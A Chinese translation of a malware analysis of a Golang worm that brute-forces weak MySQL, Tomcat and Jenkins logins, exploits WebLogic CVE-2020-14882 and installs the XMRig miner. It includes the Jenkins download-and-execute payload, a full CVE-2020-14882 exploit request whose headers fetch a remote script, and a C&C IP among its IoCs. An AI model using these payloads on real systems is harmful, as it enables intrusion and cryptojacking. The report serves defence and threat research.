译者：晓得创宇404实验室翻译组

原文链接：https://www.intezer.com/blog/...

介绍

12月初，咱们发现了一种新的用Golang编写的蠕虫。该蠕虫连续了 Golang在2020年风行的多平台恶意软件趋势。

该蠕虫试图在网络中流传，以便大规模运行XMRig Miner。恶意软件同时针对Windows和Linux服务器，能够轻松地从一个平台转移到另一个平台。它的指标是面向公众的服务：明码较弱的MySQL、Tomcat治理面板和Jenkins。在较旧的版本中，该蠕虫还尝试利用WebLogic的最新破绽：CVE-2020-14882。

在咱们的剖析过程中，攻击者不断更新C&C服务器上的蠕虫。这表明该蠕虫处于沉闷状态，并且可能在未来的更新中针对其余弱配置的服务。

技术剖析

该攻打应用三个文件：一个dropper脚本（bash或powershell）、一个Golang二进制蠕虫和一个XMRig Miner，所有这些文件都托管在同一C&C上。

目前，还未检测到ELF蠕虫二进制文件和bash dropper脚本。

图1显示了VirusTotal中的ELF蠕虫二进制检测后果。

图1：在VirusTotal（ead2cf8ab7aef63706b40eb57d668d0a）中齐全未检测到ELF文件

该恶意软件在Linux和Windows操作系统上的行为相似。咱们将在上面形容Linux蠕虫感化流程。

Linux蠕虫感化流程

在执行后，蠕虫会查看受感化计算机上的过程是否正在侦听端口52013。此端口上存在的侦听器可充当恶意软件的互斥体。如果该端口的套接字曾经关上，则实例将退出，否则它将在该端口上关上网络套接字。

在旧版本中，该蠕虫会将XMRig Miner作为Network01解压缩到tmp文件夹中并运行它。 应用名为go-bindata的Go资源嵌入包将矿工嵌入Golang二进制文件中。恶意软件应用bindataFile函数解压缩嵌入式XMRig Miner二进制文件。图2显示了此文件中的函数。

图2：xmrig\u linux\u amd64.go文件

恶意软件将应用TCP-SYN扫描网络，以便找到它能够暴力攻打并在网络上流传的服务。它将扫描具备与这些服务无关的凋谢端口的IP：蠕虫的较旧版本上为8080（对于Tomcat和Jenkins）、3306（对于MySQL）和7001（对于WebLogic）。这些破绽利用程序均在src“exp”（破绽利用）代码下具备一个程序包。


图3：exp文件和函数

蠕虫应用gopacket库，该库为Go提供C绑定，以应用libpcap读取网络数据包。通过运行pcapc，蠕虫会获取用于收集ACKS的网络数据，并持续对服务进行暴力破解。图4显示了蠕虫在Tomcat和MySQL服务上的暴力破解以及利用。


图4：蠕虫输入的片段

攻打后，恶意软件将提供加载程序脚本：ld.sh（Linux）和ld.ps1（Windows）。加载程序负责在被利用的服务上删除并运行XMRig Miner和Golang蠕虫。图5和6中的加载程序脚本如下：


图5：ldr.sh——基于Linux的Dropper bash脚本


图6：ldr.ps1——基于Windows的Dropper powershell脚本

攻打流程

上面介绍每种服务的攻打流程。

MySql：3306端口

该恶意软件将运行暴力攻打。该恶意软件应用蕴含弱凭据的硬编码字典（例如root：123456）来进行此攻打。

胜利登录后，它将运行一个shellcode，以应用mysql UDF取得本地特权降级。该破绽利用程序以十六进制字符串模式嵌入二进制文件中。该蠕虫针对每种操作系统和体系结构（UDFLINUX32，UDFLINUX64，UDFLWIN32和UDFWIN64）都有利用。浏览此处以获取无关破绽利用的更多信息。

运行破绽利用程序后，无效负载将应用sys_exec命令删除并运行加载程序脚本。URLWIN和URLLINUX存储删除程序脚本URL。图7和8显示了每个操作系统的无效负载。


图7：MySQL查问——Linux无效负载


图8：MySQL查问——Windows无效负载

Tomcat：8080端口

恶意软件将应用根本身份验证在治理面板上运行凭据。


图9：Tomcat治理面板的身份验证申请示例

试用胜利后，恶意软件将尝试部署WAR文件（Web应用程序资源），该文件将用于传输蕴含歹意无效负载的1.jsp文件。

该恶意软件将发送Get申请并应用jsp文件解析参数%s/1.jsp?win=%s&linux=%s。这些参数将蕴含dropper脚本URL。而后，jsp脚本将删除并运行加载程序。


图10：1.jsp文件脚本

Jenkins：端口8080

与以前的攻打相似，该恶意软件暴力破解Jenkins明码，登录并运行以下负载：

cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash

println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()

WebLogic：7001端口

在旧版本中，该恶意软件利用了最新的WebLogic近程代码执行破绽CVE-2020-14882。它将获取申请发送到WebLogic服务，并将GET申请标头用作无效负载的一部分。

GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();

weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)

预防措施

1.应用简单的明码，限度登录尝试，并在可能的状况下应用2FA（双重身份验证）。
2.尽量减少应用面向公众的服务。
3.应用最新的安全补丁更新软件。
4.应用Intezer Protect之类的Cloud Workload Protection Platform（CWPP）可取得对系统代码的残缺运行时可见性，并在任何歹意或未经受权的代码上收到警报。 这里有一个收费的社区版。

总结

在2020年，咱们看到了针对不同平台（包含Windows、Linux、Mac和Android）的Golang恶意软件。这种状况将在2021年继续下去。

事实上，蠕虫的PE和ELF恶意软件的代码简直雷同，而ELF恶意软件在VirusTotal中未被检测到，这表明Linux威逼依然在大多数平安和检测平台下存在。

IoCs

C&C

185[.]239[.]242[.]71（ZoomEye搜寻后果）

Files